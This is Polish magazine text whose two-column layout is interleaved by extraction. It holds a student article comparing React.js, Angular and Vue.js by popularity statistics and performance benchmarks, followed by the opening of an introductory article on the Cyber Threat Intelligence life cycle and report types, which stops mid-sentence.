webowych. Początkowe rozwiązania internetowe oparte były na tywne społeczności, które wspierają ich rozwój.
budowaniu statycznych plików HTML wraz ze skryptami w języku
JavaScript, tym samym dostarczając użytkownikowi prosty interfejs
Angular
graficzny [2].
Obecnie wiele rozwiązań webowych bazuje na architekturze Angular to stworzony przez Google następca jednego z pierwszych
klient-serwer, gdzie rolę klienta pełni frontend aplikacji. W ten spo- frameworków przeznaczonego do budowy aplikacji typu SPA –
sób odchodzi się od renderowania widoków po stronie serwera, za- AngularJS. Główną różnicą między tymi rozwiązaniami jest fakt,
pewniając przy tym ograniczenie jego obciążenia czy też przyspiesze- iż Angular jest oparty na języku TypeScript, tym samym zapewnia-
nie wyświetlania elementów strony [3]. Takie podejście do budowania jąc większą optymalizację kodu i detekcję błędów dzięki statycznemu
aplikacji internetowych wymaga zastosowania danego frameworku1, typowaniu zmiennych [3]. Dodatkowo dostarcza zwiększoną wydaj-
czyli szkieletu oprogramowania, który określa jego strukturę, mecha- ność oraz więcej funkcjonalności względem swojego poprzednika.
nizm działania oraz dostarcza zestaw potrzebnych narzędzi. Budowa aplikacji w Angularze opiera się na tworzeniu szablonów
W ostatnich latach frameworkami języka JavaScript cieszącymi się HTML, pisaniu klas komponentów do zarządzania tymi szablonami,
największą popularnością są technologie React.js, Angular oraz Vue.js. dodaniu logiki aplikacji w serwisach oraz łączeniu komponentów
Z tego względu w ramach niniejszego artykułu przeprowadzimy anali- i serwisów w moduły [5]. Angular dostarcza takie rozwiązania jak
zę porównawczą tych trzech rozwiązań w celu wyłonienia zastosowań, dwukierunkowe wiązanie danych, które pozwala na jednoczesne na-
dla których najlepszym wyborem będzie konkretny framework. słuchiwanie zdarzeń, a także aktualizowanie wartości między kom-
Przytoczone biblioteki w przeciwieństwie do tzw. Vanilla JS, który ponentami nadrzędnymi i podrzędnymi. Kwestią, na którą twórcy
cechuje się wykorzystaniem czystego języka JavaScript, charakteryzują Angulara kładą szczególny nacisk, jest separacja logiki aplikacji od
się mniejszym progiem wejścia dla programisty. Ze względu na zestaw manipulacji w DOM (ang. Document Object Model) [6] oraz testo-
gotowych narzędzi ułatwiają tworzenie aplikacji o wysokiej wydajności wanie kodu [7].
oraz bezpieczeństwie, kiedy przez brak automatyzacji w Vanilla JS o te
kwestie musi zadbać programista, co często wiąże się z obniżeniem wy-
React.js
dajności aplikacji przez niestosowanie dobrych praktyk [4].
React.js jest technologią stworzoną przez firmę Facebook. Głównym
celem Reacta jest tworzenie interaktywnych interfejsów użytkowni-
1. Z omawianych technologii jedynie React.js jest określany jako biblioteka języka JavaScript, a nie
framework. React.js nie narzuca danego wzorca architektonicznego, a jego funkcjonalności można ka z komponentów wielokrotnego użytku. Jednym z wyznaczników
wdrażać stopniowo do budowanego projektu. Jednak w celu uspójnienia nazewnictwa określenia
framework będziemy używać w kontekście wszystkich trzech technologii. Reacta jest nakładka języka JavaScript JSX (JavaScript XML), która

<40> { 2 / 2022 < 101 > }


/ Porównanie technologii JavaScript do tworzenia aplikacji webowych /

pozwala na wstawianie znaczników HTML bezpośrednio w kodzie


UDZIAŁ FRAMEWORKÓW NA RYNKU
JS, w ten sposób łącząc logikę obsługi z logiką wyświetlania kompo-
nentu [5]. React wykorzystuje tzw. wirtualny DOM – kopię rzeczywi- Statystyki z portalu Stack Overflow
stego modelu, a następnie na bieżąco wykrywa różnicę między wirtu-
alną a rzeczywistą strukturą, aktualizując rzeczywisty model jedynie Na wykresie widocznym na Rysunku 1 przedstawiono tendencję licz-
o elementy, które uległy zmianie, powodując bardzo szybkie odświe- by pytań związanych z poszczególnymi technologiami na przestrzeni
żanie widoków. Kolejną kluczową cechą Reacta jest jednokierunkowe ostatnich lat na portalu Stack Overflow. Największą popularnością
wiązanie danych, w którym przepływ danych przebiega w dół hie- cieszy się biblioteka React.js, ponieważ jej tag (reactjs) występuje naj-
rarchii komponentów, od komponentu nadrzędnego do komponentu częściej w pytaniach. Na podstawie wykresu widzimy również, że jej
potomnego. Komponent nadrzędny przekazuje kopię swojego stanu popularność ciągle wzrasta.
swoim komponentom potomnym za pomocą właściwości (ang. pro-
perties), a następnie komponenty potomne mogą komunikować się
z rodzicem w celu aktualizacji stanu za pomocą wywołań zwrotnych
(ang. callback) [9]. W React tworzenie interfejsów następuje w spo-
sób deklaratywny. Oznacza to, że podczas pisania komponentu, po-
przez modyfikację stanu, określamy, jakie zmiany chcemy zaobser-
wować, a React zajmuje się ich obsługą.

Vue.js
Vue.js to najnowsze z porównywanych rozwiązań, z pierwszą stabil-
ną wersją opublikowaną w 2014 roku przez Evana You. W przeci-
wieństwie do React.js oraz Angular jest całkowicie wspierany przez
open-sourcową społeczność [A]. Vue.js to progresywny framework,
którego rozmiar nie przekracza ok. 20 kB. Progresywność tego roz- Rysunek 1. Porównanie liczby postów w miesiącu na portalu Stack Overflow dla poszcze-
wiązania można rozumieć jako możliwość dopasowania zakresu, gólnych technologii [C]

w którym będzie on zastosowany, od pojedynczej biblioteki do war- W przypadku frameworku Vue.js widzimy rosnący trend w zaintere-
stwy widoku aż po szkielet aplikacji [B]. Vue.js implementuje wzo- sowaniu użytkowników aż do 2020 roku, po którym nastąpiła stabi-
rzec architektoniczny MVVM (ang. Model-View-ViewModel), dzięki lizacja. Jednak jest to wciąż najmniej popularny framework na Stack
czemu pozwala na oddzielenie GUI aplikacji od logiki biznesowej. Overflow w porównaniu do reszty badanych frameworków.
Podobnie jak React.js, operuje na wirtualnym DOM, minimalizując Brak kompatybilności wstecznej oraz prostej ścieżki aktualizacji apli-
koszt aktualizacji oryginalnego DOM. Budowanie aplikacji w Vue.js kacji z AngularJS do Angular w naturalny sposób sprawiły, że od 2016
opiera się na użyciu dyrektyw, czyli atrybutów HTML umożliwia- roku spada zainteresowanie użytkowników frameworkiem AngularJS na
jących różne metody wiązania danych [A]. W celu zarządzania sta- korzyść nowszego Angulara. Jednak w porównaniu do pozostałych fra-
nem rozbudowanych aplikacji Vue udostępnia bibliotekę Vuex, meworków zarówno AngularJS, jak i Angular powoli tracą popularność.
która działa jak scentralizowany magazyn stanów dla wszystkich Na Rysunku 2 przedstawiono sondaż przeprowadzony przez
komponentów [B]. Stack Overflow w 2021 roku na podstawie opinii ponad 66 000 ankie-

Rysunek 2. Najbardziej (po prawej) oraz najmniej (po lewej) lubiane technologie do tworzenia aplikacji webowych [D]

{ WWW.PROGRAMISTAMAG.PL } <41>
PROGRAMOWANIE APLIKACJI WEBOWYCH

towanych. Zgodnie z wynikami najbardziej lubianym frameworkiem Vue.js, co może świadczyć o rosnącej popularności tej technologii.
do tworzenia aplikacji webowych jest React.js (69.28%). Niewiele Warto zaznaczyć jednak, że liczba odznaczeń Vue.js może być natu-
mniej (64.41%) ma Vue.js, bo tylko 35.59% ankietowanych deklaruje ralnym skutkiem dynamicznie rosnącej liczby użytkowników doce-
niechęć wobec tej technologii. Nieco mniejsze wsparcie (55.82%) ma lowych. Swoje zainteresowanie tym frameworkiem wykazały między
z kolei framework Angular. innymi takie firmy jak Alibaba, Wizzair czy Netflix.
Na diagramie widocznym na Rysunku 3 przedstawiono procent
zainteresowania ankietowanych technologiami, których badani na co React.js Vue.js Angular
dzień nie używają. Analiza tych wyników pokazuje, że ponad 25%
ankietowanych chciałoby użyć frameworku React.js do tworzenia Liczba publicznych
183 690 39 154 35 921
aplikacji webowych. Nieco mniejsze (16.69%) zainteresowanie ma repozytoriów

Vue.js, a tylko 8.47% ankietowanych zadeklarowało chęć wypróbo-


wania technologii Angular. Liczba gwiazdek 180 931 192 394 86 541

Dane z portalu GitHub Tabela 1. Porównanie liczby publicznych repozytoriów oraz liczby gwiazdek dla poszczegól-
nych technologii na dzień 18.01.2022 [E,F,10]

Na podstawie statystyk opublikowanych przez GitHub możemy za-


uważyć, że najwięcej (w porównaniu do reszty) publicznych repozy-
Statystyki NPM
toriów jest związanych z frameworkiem React.js, co może świadczyć
o tym, że programiści chętniej sięgają po tę technologię przy two- Analizując wykres na Rysunku 5, liczby pobrań NPM w ciągu 5
rzeniu nowych aplikacji webowych. Z kolei najwięcej odznaczeń ma ostatnich lat (2017 – 2022), możemy zauważyć, że Angular z czasem

Rysunek 3. Najbardziej pożądane technologie do tworzenia aplikacji webowych [A]

Rysunek 4. Porównanie liczby pobrań NPM dla poszczególnych technologii [11]

<42> { 2 / 2022 < 101 > }


/ Porównanie technologii JavaScript do tworzenia aplikacji webowych /

powoli traci swoją początkową przewagę nad Vue.js. W przypad- Przeprowadzone testy polegały na wielokrotnym wykonaniu prób
ku frameworku React widzimy, że stabilnie zachowuje on pozycję badawczych, a finalny rezultat został uzyskany poprzez medianę wszyst-
dominującą. kich pomiarów.
Badania zostały przeprowadzone na komputerze o parametrach:

PORÓWNANIE WYDAJNOŚCI » czterordzeniowy procesor Intel Core i5-4460 @ 3.20GHz,


» pamięć RAM 16 GB,
FRAMEWORKÓW » dysk SSD 256 GB,
» system operacyjny Windows 10 Pro 64-bit.
Badane aspekty
Podczas porównania aplikacji utworzonych w omawianych technolo- Aplikacje uruchomiono w przeglądarce Google Chrome w wersji 98,
giach uwzględniono kilka kryteriów: a wyniki zebrano przy pomocy zakładki Performance w DevTools.
» Application bootstrapping – określenie to odnosi się do wszel-
kich miar związanych z procesem kompilacji, uruchamiania
Uzyskane wyniki
oraz pracy aplikacji [12]. Podczas badania tego kryterium zosta-
ły porównane m.in. czas zbudowania aplikacji, czas jej urucho- Korzystając z przygotowanych aplikacji testowych (szkielety projek-
mienia oraz rozmiar zajętego przez nią miejsca na dysku. tów + 3 proste funkcjonalności), w Tabeli 2 przedstawiono zestawie-
» Lazy loading – technika ta polega na zaniechaniu pobierania nie mierzalnych parametrów istotnych dla porównania omawianych
z serwera wszystkich zasobów w jednym momencie. W zamian narzędzi.
wymiana danych między przeglądarką a serwerem odbywa się
w sposób etapowy: w pierwszej kolejności pobierane są niewiel- Angular React.js Vue.js
kie, lecz obowiązkowe do wyświetlenia strony dane, a elementy Ilość plików 42 474 33 299 23 775
charakteryzujące się największym rozmiarem, takie jak grafiki
Rozmiar projektu 592 MB 215 MB 127 MB
lub obszerne ilości tekstu ładowane, są w tle i prezentowane na
już wyrenderowanej stronie, gdy proces ich pobierania zostanie Czas instalacji paczek (liczba
165 s (893) 174 s (1408) 148 s (1339)
zakończony [13]. W trakcie badania tego kryterium sprawdzi- paczek)

my czas i sposób działania tej techniki w ramach poszczegól- Czas budowy aplikacji 14 173 ms 12 159 ms 7 093 ms
nych frameworków.
Rozmiar zbudowanej aplikacji 1.15 MB 1.61 MB 1.96 MB
» Bulk data – zagadnienie to tyczy się jednoczesnego ładowania
dużej ilości danych, np. tabeli zawierającej kilka tysięcy re- Czas uruchomienia aplikacji 7 385 ms 2 757 ms 2 009 ms
kordów bezpośrednio z kodu aplikacji. Badając to kryterium,
sprawdzony został czas trwania takich operacji w zależności od Tabela 2. Parametry projektów i application bootstrapping

typu oraz ilości danych.


» Pobieranie danych z API – w ramach tego badania sprawdzony Dla większości parametrów da się zaobserwować zdecydowaną prze-
został czas załadowania oraz wyrenderowania danych pobra- wagę frameworku Vue.js, natomiast framework Angular wypadł naj-
nych z niezwiązanego z aplikacją serwisu. mniej korzystnie. Wyjątkiem od tej zależności były parametry czasu
instalacji paczek oraz rozmiaru zbudowanej aplikacji, gdzie Angular
W celu zbadania kryterium application bootstrapping dla każdego radzi sobie zdecydowanie lepiej. Dla frameworku React.js najczęściej
frameworku wykonano badania na czystym środowisku testowym, uzyskiwano pośrednie rezultaty.
które obejmowało pobranie oraz instalację wymaganych paczek, zbu- Następnie korzystając z funkcjonalności zaimplementowanych
dowanie projektu, a także jego uruchomienie. Następnie został wy- w aplikacjach testowych, dokonano testów wydajnościowych oma-
konany pomiar wszelkich możliwych do porównania wartości takich wianych technologii.
jak liczba plików, rozmiary projektu oraz czasy instalacji, budowy
i uruchomienia aplikacji. Angular React.js Vue.js
Aby zbadać wydajność poszczególnych frameworków w przy-
Lazy loading 2 674 ms 2 525 ms 2 732 ms
padku lazy loading, zbadany został czas załadowania 100 bloków
tekstu składających się z prawie 9000 wyrazów bezpośrednio z kodu Bulk data 1 757 ms 1 926 ms 1 449 ms
aplikacji.
Badanie kryterium bulk data polegało na sprawdzeniu czasu za- Pobieranie danych z API 9 330 ms 9 380 ms 8 363 ms

ładowania elementów z danymi do tabeli dla każdej badanej techno-


Tabela 3. Wyniki metod testowych
logii. Dane były pobierane z pliku JSON, który zawierał 10000 rekor-
dów, każdy zawierający po 4 pola.
Sprawdzenie wydajności komunikacji omawianych frameworków W przypadku badania Lazy loadingu to React.js notował najlepsze
z API polegało na obserwacji czasu pobrania danych z zewnętrznego wyniki, a zaraz po nim Angular oraz Vue.js. Wyniki są jednak na tyle
serwera [14] przy pomocy zapytania. Następnie wyświetlono 5000 do siebie zbliżone, że można je określić jako niezauważalne dla użyt-
rekordów zawierających tekst i grafiki jako wiersze tabeli HTML. kownika aplikacji.

{ WWW.PROGRAMISTAMAG.PL } <43>
PROGRAMOWANIE APLIKACJI WEBOWYCH

W badaniu Bulk data najlepiej wypadł Vue.js, znacząco pokonu- wydajnościowych. Jednakże jest to najmłodsze rozwiązanie i mimo
jąc drugi framework Angular oraz trzeci React.js. wciąż rosnącej popularności ma mniej rozbudowaną społeczność.
W teście badającym pobieranie danych z API przy pomocy za- React.js jest dojrzałym frameworkiem, zdecydowanie wygrywa
pytań oraz wyświetlaniu ich w postaci tabeli znów najlepiej wypadł w porównaniu biznesowym bibliotek – ma największą liczbę projek-
Vue.js. Mediana z wyników frameworków Angular oraz React.js jest tów, jest wskazywany jako najpopularniejsza i najbardziej pożądana
praktycznie identyczna. technologia na rynku komercyjnym. Bibliotekę React.js można uznać
Patrząc na ogół wyników wygenerowanych w testach wydajno- za kompromis między Angularem i Vue.js, gdyż cechuje się porów-
ściowych pobierania danych z API, dało się zaobserwować ich roz- nywalną wydajnością. Znajduje zastosowanie w małych i dużych
bieżność dla frameworku Angular. Potrafił on, w przypadkach gra- projektach, przy czym ma mniejszy próg wejścia dla programisty niż
nicznych, pobrać i wyświetlić dane w czasie szybszym niż Vue.js, Angular.
a czasami wolniejszym niż 10000 ms. Pozostałe frameworki cecho- Mimo zauważalnych różnic między frameworkami nie da się
wały się wyższą stabilnością. jednoznacznie odpowiedzieć na pytanie, które rozwiązanie wybrać.
Przy ostatecznym wyborze musimy kierować się specyfiką produktu,

KTÓRY FRAMEWORK WYBRAĆ? który chcemy stworzyć. W zależności od wymagań projektu należy
zawsze rozeznać się w rozwiązaniach dostarczanych przez frame-
Przy pomocy przeprowadzonej analizy biznesowej oraz uzyskanych work, w tym gotowych funkcjonalności i dostępnych bibliotek. Może
wyników badań można zaobserwować różnice między porównywa- to znacząco przyspieszyć proces wytwarzania produktu i spełnienia
nymi technologiami. Zauważone rozbieżności pozwalają na wskaza- jego wymagań biznesowych. Nie możemy jednak zapomnieć o zaso-
nie najlepszych zastosowań dla badanych bibliotek. bach, którymi dysponujemy. Skupiając się na zasobach ludzkich, ze-
Angular jest najbardziej rozbudowanym frameworkiem, cechuje spół developerów często wyspecjalizowany jest w danej technologii.
go większy rozmiar projektu, ale jednocześnie daje więcej możliwo- W większości przypadków nakład pracy związany ze zmianą tech-
ści i znajduje zastosowanie w przypadku dużych, zaawansowanych nologii przewyższy korzyści płynące z lepszego dostosowania innej
projektów. Angular domyślnie dostarcza wiele gotowych funkcjo- biblioteki do specyfiki produktu.
nalności, jest bardzo kompletnym rozwiązaniem, co wiąże się z jego
rozmiarem. Ze względu na swoją złożoność ma większy próg wej-
Autorami artykułu są Joanna Borowska, Rafał Latoszek, Justyna
ścia, co może mieć swoje odzwierciedlenie w jego popularności na
Łapińska, Karol Stasiak – studenci ostatniego roku Informatyki Sto-
rynku.
sowanej drugiego stopnia na wydziale Elektrycznym Politechniki
Framework Vue.js jest lekkim i bardzo wydajnym rozwiązaniem.
Warszawskiej. W ramach pracy nad projektem badawczym posta-
Charakteryzuje go niski próg wejścia, przez co jest częstym wyborem
nowili zagłębić się w tematykę technologii frontendowych aplikacji
wśród początkujących programistów. Vue.js zapewnia bazową funk-
webowych, które tak często są spotykane na rynku komercyjnym
cjonalność, jest dobrym rozwiązaniem do małych, nieskomplikowa-
czy też w projektach akademickich.
nych projektów, co potwierdzają wyniki przeprowadzonych testów

Bibliografia
[0] https://www.electronjs.org/
[1] https://cordova.apache.org/
[2] Yuan-Fang Li, Paramjit K. Das, David L. Dowe, 2014. Two decades of Web application testing—A survey of recent advances
[3] Bin Uzayr, S., Cloud, N., Ambler, T., 2019. JavaScript Frameworks for Modern Web Development. New York: Apress
[4] https://gomakethings.com/why-do-people-choose-frameworks-over-vanilla-js/
[5] https://angular.io/guide/architecture
[6] https://www.w3.org/TR/WD-DOM/introduction.html
[7] Monteiro, F., 2018. Hands-On Full Stack Web Development with Angular 6 and Laravel 5: Become Fluent in Both Frontend and Backend Web Development with Docker, Angular and
Laravel. Birmingham: Packt Publishing, Limited
[8] https://reactjs.org/docs/introducing-jsx.html
[9] Chiarelli, A., 2018. Beginning React. Birmingham: Packt Publishing, Limited
[A] Filipova, O., 2018. Vue.js 2: Tworzenie reaktywnych aplikacji WWW. Warszawa: Helion
[B] Nelson, B., 2018. Getting to Know Vue.js. New York: Apress
[C] https://insights.stackoverflow.com/trends?tags=reactjs%2Cvue.js%2Cangular%2Cangularjs
[D] https://insights.stackoverflow.com/survey/2021#technology-most-loved-dreaded-and-wanted
[E] https://github.com/topics/react
[F] https://github.com/topics/vue
[10] https://github.com/topics/angular
[11] https://www.npmtrends.com/angular-vs-react-vs-vue
[12] https://techterms.com/definition/bootstrap
[13] https://developer.mozilla.org/en-US/docs/Web/Performance/Lazy_loading
[14] https://jsonplaceholder.typicode.com/

<44> { 2 / 2022 < 101 > }


BEZPIECZEŃSTWO

Cyber Threat Intelligence – czym jest i dlaczego jest ważne


Angielski filozof sir Francis Bacon jest autorem słów „scientia potentia est”, czyli „wiedza
to potęga”. Pierwszy raz zapisał je w swojej książce w 1668 roku Thomas Hobbes, który był
asystentem Bacon’a.Interpretując te słowa, można stwierdzić, że im więcej wiemy, tym staje-
my się potężniejsi. Odpowiednia wiedza pozwala osiągnąć więcej, dając nam przewagę nad
innymi w niemal każdym aspekcie życia.

W iedza jest darmowa, a w obecnej dobie jest również łatwo do-


stępna. Można ją pozyskiwać z różnych źródeł, zarówno za-
mkniętych, jak i otwartych.
CTI to działania wywiadowcze mające na celu identyfikację po-
tencjalnych zagrożeń, które czają się w cyberprzestrzeni.
Zapewnienie bezpieczeństwa organizacji od strony technologicz-
nej to nie lada wyzwanie. Nikt przecież nie chce paść ofiarą włamania

INTELLIGENCE do infrastruktury i w konsekwencji utracić dane klientów lub tajem-


nic handlowych czy też aby jego dyski zostały zaszyfrowane.
Samo słowo intelligence1 w dokładnym znaczeniu z języka angielskie- Może to doprowadzić do nadszarpnięcia wizerunku oraz utraty
go oznacza informacje wywiadowcze, tajne informacje pozyskiwane wiarygodności, jak również przerwania ciągłości działania i w konse-
przez wywiad. kwencji bankructwa.
Skoro intelligence to informacje wywiadowcze, to czy ich pozy- Do cyberprzestępców, którzy mogą wyrządzić mniejsze lub więk-
skiwanie jest ograniczone tylko dla instytucji zawodowo zajmujących sze szkody, możemy zaliczyć zwykłych chuliganów, tzw. script kid-
się wywiadem, takich jak CIA i jej podobnych? dies, haktywistów czy zorganizowane grupy przestępcze oraz grupy
Otóż nie do końca. Samo określenie intelligence możemy zdefinio- sponsorowane przez rządy (APT – Advanced Persistent Threat).
wać jako zbiór informacji, które w efekcie dają wiedzę w celu odpo- Aby móc skutecznie bronić się przed określonymi zagrożeniami,
wiedzenia na kluczowe pytania kto, gdzie, jak, co, dlaczego oraz kiedy. musimy być w stanie je odpowiednio zidentyfikować oraz ocenić.
To wiedza na temat otaczającego nas świata. Analizując dostępne dane, niektóre z nich jesteśmy w stanie ła-
Czy w takim razie dane wywiadowcze może pozyskiwać każdy two identyfikować. Gdy jednak chcemy poznać więcej szczegółów,
z nas? Zdecydowanie tak. A co najistotniejsze, robimy to każdego tym poszukiwania i proces identyfikacji stają się coraz bardziej
dnia. Chcąc dowiedzieć się więcej na dany temat i odpowiedzieć na skomplikowane.
wcześniej postawione pytania, poszukujemy danych i informacji, Ten problem najlepiej ilustruje opracowana przez Davida J. Bian-
które dadzą nam odpowiednią wiedzę. co tzw. piramida bólu (Rysunek 1).
Jako przykład z życia może nam posłużyć sytuacja, kiedy chcemy
kupić mieszkanie w określonej dzielnicy miasta. Szukamy wtedy in-
formacji na temat dostępności podstawowych usług w okolicy, takich
jak placówki medyczne, przedszkola/szkoły, przystanki komunikacji
miejskiej i innych.
Weryfikujemy też ceny z rynku pierwotnego i wtórnego. Pytamy
znajomych, czy wiedzą coś na temat danej okolicy pod względem
bezpieczeństwa dla nas samych oraz naszego mienia, takiego jak sa-
mochód, który będzie zaparkowany na ulicy. Oraz wiele innych.
Tym samym uzyskujemy informacje, które są odpowiedzią na
postawione pytania i dają nam stosowną wiedzę, która pomaga nam
w podjęciu ostatecznej decyzji na temat inwestycji.
Działania, jakie podejmujemy, mają uchronić nas przed różnego ro- Rysunek 1. Piramida bólu2
dzaju zagrożeniem, które próbujemy zidentyfikować, przeprowadzając
w ten sposób nasz własny Threat Intelligence, czyli wywiad zagrożeń. Dane leżące u podnóża piramidy są stosunkowo łatwe do znalezienia
i identyfikacji. Im jednak bliżej wierzchołka, tym poziom trudności

CYBER THREAT INTELLIGENCE rośnie.


Najtrudniej jest identyfikować tzw. TTPs, czyli taktyki, techniki
Generalna idea dla Cyber Threat Intelligence jest taka sama jak w przy- i procedury (Tactics, Techniques and Procedures), które według fra-
toczonym wcześniej przykładzie, jednak zmienia się przestrzeń, w któ- meworka MITRE ATT&CK3 określają, co agresorzy chcą osiągnąć
rej operujemy.
2. attackiq.com/2019/06/26/emulating-attacker-activities-and-the-pyramid-of-pain
1. diki.pl/slownik-angielskiego?q=intelligence 3. attack.mitre.org

<46> { 2 / 2022 < 101 > }


/ Cyber Threat Intelligence – czym jest i dlaczego jest ważne /

(Tactics), w jaki sposób zamierzają (Techniques) oraz czego dokład- su. Wymagania te nazywane są Intelligence Requirements (IR) lub też
nie, jeśli chodzi o narzędzia, w tym celu używają (Procedures). Priority Intelligence Requirements (PIR).
Mając na uwadze ogrom danych, jaki nas otacza, a tym samym Mają one za zadanie postawienie pytań, na które należy spróbo-
powszechną dostępność Internetu, z czasem coraz trudniej jest się wać odpowiedzieć, np. jaki jest aktualny krajobraz zagrożeń (ang.
przebić przez ich gąszcz i wyłuskać odpowiednie informacje dające Threat Landscape), a także jakie środki należy przedsięwziąć, aby im
potrzebną wiedzę. zapobiec.
Dlatego istotne jest, by wiedzieć, w jaki sposób powinno się to Poprzez poprawne zdefiniowanie wymagań, a tym samym kie-
prawidłowo robić, aby wartość z działań CTI była jak największa. runku, w jakim analiza ma być prowadzona, by je zaspokoić, jeste-
W pierwszej kolejności musimy być świadomym, jaki związek zacho- śmy w stanie określić, jakich danych będziemy potrzebować, aby zre-
dzi między danymi, informacją a informacją wywiadowczą (Intelligence). alizować założone cele.
Na Rysunku 2 przedstawiono naturalną transformację surowych Określenie rodzaju danych pozwala również na skuteczny wybór
danych w informacje wywiadowcze. ich źródła, co daje możliwość uniknięcia potencjalnych szumów in-
formacyjnych, które mogą prowadzić do błędnej analizy, a tym sa-
mym skutkować podjęciem niewłaściwych decyzji.
W niektórych opracowaniach ta faza może nosić nazwę Direction
Rysunek 2. Proces transformacji danych w informacje wywiadowcze and Planning.

Data to nic innego jak surowe dane – fakty, które są dostępne w ogrom-
Collection
nym zbiorze, który przeszukujemy.
Information odnosi się do efektu uzyskanego w wyniku zebrania W tej części procesu następuje właściwa kolekcja danych, które zo-
danych surowych w celu dostarczenia wartościowego outputu. stały wyselekcjonowane w poprzednim etapie.
Intelligence, czyli właściwa wiedza wywiadowcza, powstaje na W zależności od tego, jakie źródła danych zostały określone
skutek przetwarzania oraz analizy informacji i może być wykorzysta- na etapie planowania, proces kolekcji może obejmować logi z we-
na podczas podejmowania decyzji. wnętrznych systemów infrastruktury (urządzenia sieciowe, firewalle,
SIEM itp.), inne raporty CTI lub opracowania indywidualnych bada-

CYBER THREAT INTELLIGENCE LIFE CYCLE czy bezpieczeństwa.


Bardzo wartościowym źródłem danych jest tak zwany biały wy-
Mając już wstępne wyobrażenie, jak surowe dane są przekształcane wiad, czyli OSINT (Open Source Intelligence).
w informacje wywiadowcze, przyjrzyjmy się cyklowi życia procesu
CTI (Rysunek 3), który systematyzuje działania (fazy) w ramach ope-
Processing
racji Cyber Threat Intelligence.
Surowe dane, które zostały pozyskane w fazie kolekcji, muszą zostać
poddane obróbce w celu ich normalizacji do ustalonego wcześniej,
wspólnego formatu. Jest to niezwykle istotne, ponieważ część czyn-
ności w fazie analizy jest przeprowadzana przez narzędzia automaty-
zujące, które przyjmują dane wejściowe w określonym formacie.
Również analityk musi rozumieć analizowane dane, dlatego faza
przetwarzania jest bardzo istotna.
W ramach przetwarzania może dochodzić np. do dekodowania
oraz tagowania pewnych danych, tak aby były łatwiej konsumowane
podczas fazy analizy.
W wyniku działania fazy przetwarzania surowe dane przekształ-
cane są w informacje.

Analysis
Rysunek 3. Cykl życia procesu Cyber Threat Intelligence4 Jest to najbardziej czasochłonna faza z całego cyklu życia CTI, ponie-
waż w jej trakcie wszystkie uzyskane wcześniej informacje łączone są
w spójną całość, tak aby dostarczyć odpowiedzi na pytania postawio-
ne w fazie definiowania wymagań (IR lub PIR).
Direction
Czynności analityczne prowadzone są na ogół przez ludzi przy
Pierwsza faza CTI jest odpowiedzialna za zdefiniowanie wymagań, wspomaganiu narzędzi automatyzujących.
jakie ma podmiot, który będzie konsumował wyniki z całego proce- Produktem końcowym tej fazy są informacje wywiadowcze, czyli
nasz intelligence. Najczęściej są one przekazywane w formie raportu.
4. agari.com/email-security-blog/what-is-cyber-threat-intelligence

{ WWW.PROGRAMISTAMAG.PL } <47>
BEZPIECZEŃSTWO

z budżetem przeznaczonym na bezpieczeństwo. Pozwala on również


Dissemination
na opracowywanie strategii bezpieczeństwa całej organizacji, czyli
Po przygotowaniu raportu w poprzedniej fazie musi on trafić do odpo- co powinno być wdrożone, aby zminimalizować wystąpienie danego
wiedniej grupy odbiorców, która będzie dalej wykorzystywać zdobyte zagrożenia.
informacje wywiadowcze, tak aby byli oni w stanie podjąć odpowied- Ponieważ raport jest przeznaczony do osób decyzyjnych oraz
nie decyzje. ukierunkowany na możliwościach i skutkach wystąpienia zagrożenia,
W zależności od typu przygotowanego raportu (strategiczny, ope- powinien on być opracowany bez użycia języka technicznego.
racyjny, taktyczny, techniczny) częstotliwość dostarczania raportu Raport tego rodzaju może być wykorzystywany w dłuższym okre-
może się różnić. I tak np. raport strategiczny może być dostarczany sie czasu, gdzie dopiero po wdrożeniu strategicznych decyzji organi-
raz na kwartał. Już jednak raport operacyjny powinien być dostarcza- zacja jest w stanie zweryfikować aktualny stan zagrożenia na podsta-
ny znacznie częściej, np. raz na tydzień. wie własnych obserwacji, uwzględniając ogólnoświatowe trendy.
Typy raportu CTI zostaną omówione w dalszej części artykułu.

Operacyjny
Feedback
Raporty operacyjne mają za zadanie dostarczyć informacji o specy-
Ostatnia faza cyklu w całym procesie pozwala na zebranie informacji ficznym zagrożeniu do organizacji, czyli np. o atakach i kampaniach,
zwrotnej od odbiorców raportu oraz samych analityków. które aktualnie mają miejsce. Nie chodzi tu tylko i wyłącznie o te za-
Tym samym następuje ewaluacja wcześniej ustalonych kierun- grożenia bezpośrednio wymierzone w daną organizację w aktualnym
ków działania (IR oraz PIR). W wyniku takiego działania może dojść przedziale czasowym, ale również o ataki i kampanie, które mają
do powstania nowych kierunków. miejsce na świecie i dotykają inne podmioty z tej samej branży.
Gdy całość informacji zwrotnych jest zebrana, cały proces zaczy- Jednocześnie powinny znaleźć się tutaj informacje na temat zaso-
na się od początku, ponieważ działania w ramach CTI nie są jednora- bów organizacji, które mogą być zagrożone, np. usługi WWW czy też
zowymi przedsięwzięciami, lecz procesem ciągłym. łańcuch dostaw określonego produktu.
W ramach raportu zawierane są również informacje na temat

RODZAJE CYBER THREAT grup (ang. threat actors), które mogą zagrażać organizacji. Ich tech-
niczne możliwości, intencje oraz stopień prawdopodobieństwa, że to
INTELLIGENCE akurat one mogą być zainteresowane przeprowadzeniem ataku na
Gdy już mamy obraz tego, jak wygląda cykl życia całego procesu CTI, organizację.
możemy przejść do omówienia rodzajów CTI. Źródłem informacji są między innymi media społecznościowe,
Aby skutecznie realizować operacje CTI, należy mieć świado- zamknięte fora grup przestępczych oraz dane od innych instytucji,
mość, jakiego rodzaju informacje wywiadowcze powstają w wyniku które śledzą zagrożenia w cyberprzestrzeni.
ich przeprowadzania. Tak jak w przypadku raportu strategicznego, operacyjny rów-
Odpowiednia klasyfikacja na strategiczne, operacyjne, taktyczne nież utrzymywany jest w tonie informacji wysoko poziomowych.
i techniczne determinuje przede wszystkim to, do jakiej grupy od- Informacje w nim zawarte są przydatne tylko w krótkim przedziale
biorców trafiają poszczególne raporty oraz jakiego rodzaju cele defi- czasowym.
niowane są w pierwszej fazie cyklu życia CTI. Przeznaczony jest dla managerów zespołów defensywnych, tzw.
blue teamów.

Strategiczny
Taktyczny
Raport tego typu dostarcza wysokopoziomowych informacji na te-
mat aktualnej świadomości przedsiębiorstwa w zakresie cyberzagro- Raport taktyczny w porównaniu do poprzednich przechodzi do
żeń (trendów tych zagrożeń), które mają miejsce. szczegółów identyfikowanych zagrożeń. Mówiąc o szczegółach, mam
Tworzony jest tak zwany threat landscape, czyli krajobraz zagro- na myśli taktyki, techniki i procedury (ang. tactics, techniques and
